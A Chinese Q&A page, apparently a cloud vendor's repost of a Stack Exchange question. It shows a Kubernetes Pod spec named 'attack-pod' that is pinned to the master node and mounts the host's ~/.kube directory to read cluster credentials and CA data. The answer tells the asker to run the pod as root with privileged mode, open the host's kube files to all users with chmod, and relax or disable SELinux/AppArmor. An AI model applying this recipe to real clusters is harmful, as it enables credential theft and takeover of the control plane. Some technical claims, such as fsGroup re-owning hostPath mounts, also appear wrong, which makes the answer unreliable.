You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

为何在Kubernetes Pod内访问主机文件时出现权限拒绝错误?

Kubernetes挂载主机目录后权限拒绝问题解决

问题场景

我在测试Kubernetes集群安全漏洞时,作为特权用户尝试将主节点的~/.kube目录挂载到Pod内,目的是读取或修改K8s配置、CA信息,甚至挂载主节点任意根目录。Pod部署后无报错,目录也确认挂载成功,但进入Pod后无法读取该挂载目录。

部署文件

apiVersion: v1
kind: Pod
metadata:
  name: attack-pod
  namespace: target-ns
spec:
  securityContext:
    runAsUser: 1000
    runAsGroup: 1001
    fsGroup: 0
    fsGroupChangePolicy: "OnRootMismatch"

  tolerations:
  - key: "is_control"
    operator: "Equal"
    value: "true"
    effect: "NoExecute"
  nodeName: master-node-1

  imagePullSecrets:        
  - name: regcred    

  containers:
  - name: attack-container
    image: bash
    command: [ "sh", "-c", "sleep 1h" ]
    volumeMounts:
    - mountPath: /home/admin-user/.kube
      name: mount-root-into-mnt
    securityContext:
      allowPrivilegeEscalation: true

  volumes:
    - name: mount-root-into-mnt
      hostPath: 
        path: /home/admin-user/.kube

  serviceAccountName: service-account

错误现象

执行命令kubectl -n target-ns -it attack-pod -- bash进入Pod后,尝试列出挂载目录内容时出现权限拒绝:

ls: can't open '.': Permission denied

解决方法

1. 修正Pod运行身份与权限策略

你配置的runAsUser:1000、runAsGroup:1001和主机上/home/admin-user/.kube的实际所有者ID不匹配,而fsGroupChangePolicy: OnRootMismatch仅在挂载目录根用户不匹配时才调整权限,无法覆盖用户组不匹配的情况。直接以root身份运行Pod并强制同步权限:

spec:
  securityContext:
    runAsUser: 0
    runAsGroup: 0
    fsGroup: 0
    fsGroupChangePolicy: "Always" # 强制同步挂载目录权限到fsGroup
  containers:
  - name: attack-container
    securityContext:
      allowPrivilegeEscalation: true
      privileged: true # 按需开启,获取主机级特权

2. 临时调整主机目录权限(测试环境专用)

如果不能修改Pod配置,可在主节点上临时开放~/.kube目录的读取权限:

chmod -R o+rX /home/admin-user/.kube

3. 检查集群安全模块限制

部分集群启用了SELinux或AppArmor,即使文件权限正确也会阻止读取。测试环境下可临时在Pod的securityContext中添加SELinux配置:

securityContext:
  seLinuxOptions:
    type: "spc_t"

或者临时关闭节点上的SELinux/AppArmor(仅用于测试)。

内容的提问来源于stack exchange,提问作者Mo Alkhodary

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.22 23:39:17